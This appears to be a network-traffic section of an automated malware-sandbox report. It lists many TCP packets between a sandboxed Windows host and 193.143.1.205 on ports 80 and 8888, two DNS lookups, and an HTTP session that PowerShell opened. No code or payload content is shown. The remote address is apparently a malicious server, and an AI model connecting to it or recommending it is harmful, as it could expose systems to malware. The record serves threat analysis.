Jan 10, 2025 22:08:53.327372074 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.327379942 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.327383995 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.327399969 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.327414989 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.327426910 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.327428102 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.327438116 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.327466965 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.327470064 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.327478886 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.327514887 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.360349894 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.360389948 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.360409975 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.360419989 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.360421896 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.360435009 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.360447884 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.360451937 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.360469103 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.360475063 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.360481024 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.360493898 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.360506058 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.360510111 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.360518932 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.360531092 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.360543013 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.360558033 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.360558987 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.360579014 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.360591888 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.360598087 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.360605001 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.360620022 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.360632896 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.360637903 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.360663891 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.360683918 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.397283077 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.402251959 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.402271032 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.402282953 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.402293921 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.402304888 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.402316093 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.402321100 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.402328014 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.402379036 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.402384996 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.402396917 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.402407885 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.402419090 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.402431011 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.402442932 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.402443886 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.402443886 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.402453899 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.402466059 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.402476072 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.402478933 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.402491093 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.402494907 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.402503014 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.402513981 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.402527094 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.402533054 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.402539015 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.402544022 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.402550936 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.402561903 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.402563095 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.402576923 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.402600050 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.402617931 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.415174961 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.415205956 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.415215969 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.415235043 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.415262938 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.415273905 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.415291071 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.415302992 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.415322065 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.415335894 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.415350914 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.415379047 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.415709019 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.415731907 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.415759087 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.415766001 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.415779114 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.415791988 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.415802956 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.415813923 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.415817976 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.415822983 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.415844917 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.415870905 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.415899992 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.415951014 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.415952921 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.415963888 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.415976048 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.415992975 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416004896 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416012049 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.416023016 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416033983 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.416038990 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416049004 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416085005 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.416085005 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.416134119 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416145086 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416156054 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416167021 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416178942 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416192055 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416209936 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.416209936 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.416241884 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.416256905 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416269064 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416282892 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416301012 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416311026 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.416311979 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416322947 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416352987 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.416357994 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416369915 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416371107 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.416382074 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416392088 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416412115 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416414022 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.416430950 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416433096 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.416441917 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416454077 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416476011 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416492939 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.416492939 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.416496038 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416517019 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416553974 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.416598082 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416610003 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416620970 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416651964 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.416654110 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416672945 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.416673899 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416687012 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416698933 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416718006 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416721106 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.416729927 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416742086 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.416744947 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416776896 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416790009 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416789055 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.416800976 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416821003 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.416857958 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416858912 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.416872025 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416883945 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416893005 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.416913033 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.416954041 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.417042971 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.417061090 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.417072058 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.417083025 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.417094946 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.417107105 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.417110920 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.417119980 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.417131901 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.417135000 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.417149067 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.417150974 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.417180061 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.417191029 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.417191982 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.417210102 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.417217970 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.417222023 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.417262077 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.417614937 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.417634964 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.417645931 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.417658091 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.417661905 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.417680979 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.450093985 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.450162888 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.450231075 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.450259924 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.450274944 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.450287104 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.450299978 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.450314999 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.450320959 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.450334072 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.450335979 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.450345993 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.450356960 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.450370073 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.450388908 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.450395107 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.450395107 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.450402975 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.450413942 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.450419903 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.450427055 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.450433969 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.450443029 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.450453997 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.450465918 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.450472116 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.450472116 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.450479031 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.450491905 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.450498104 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.450504065 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.450517893 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.450519085 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.450529099 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.450531960 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.450568914 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.451102018 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.451112986 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.451188087 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.451303959 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.451323986 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.451335907 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.451348066 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.451355934 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.451360941 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.451375008 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.451375961 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.451402903 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.470103025 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.470139980 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.470158100 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.470175982 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.470211983 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.470225096 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.470247984 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.470282078 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.470292091 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.470318079 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.470357895 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.470746040 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.470779896 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.470814943 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.470849037 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.470849037 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.470885038 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.470892906 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.470918894 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.470952988 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.470963001 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.505089045 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.505125046 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.505148888 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.505179882 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.505213976 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.505222082 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.505247116 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.505281925 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.505290031 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.505315065 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.505351067 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.505378008 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.505379915 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.505429983 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.505534887 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.505604029 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.505646944 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.505654097 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.505688906 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.505723000 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.505726099 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.505757093 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.505789995 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.505795002 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.505846977 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.505886078 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.505898952 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.505934000 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.505974054 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.505985022 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.506020069 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.506052971 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.506064892 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.506086111 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.506119013 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.506130934 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.506154060 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.506187916 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.506197929 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.506223917 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.506253958 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.506263018 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.546435118 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.641927958 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.981087923 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:54.472805023 CET	49732	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:54.477823973 CET	8888	49732	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:54.477943897 CET	49732	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:54.478877068 CET	49732	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:54.483701944 CET	8888	49732	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:55.248100996 CET	8888	49732	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:55.296480894 CET	49732	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:56.724633932 CET	49732	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:09:07.482861996 CET	63094	53	192.168.2.4	1.1.1.1
Jan 10, 2025 22:09:24.414705038 CET	60893	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 22:09:07.482861996 CET	192.168.2.4	1.1.1.1	0xa57a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:09:24.414705038 CET	192.168.2.4	1.1.1.1	0x2e70	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 22:09:07.489881039 CET	1.1.1.1	192.168.2.4	0xa57a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:09:24.424403906 CET	1.1.1.1	192.168.2.4	0x2e70	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	193.143.1.205	80	1732	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
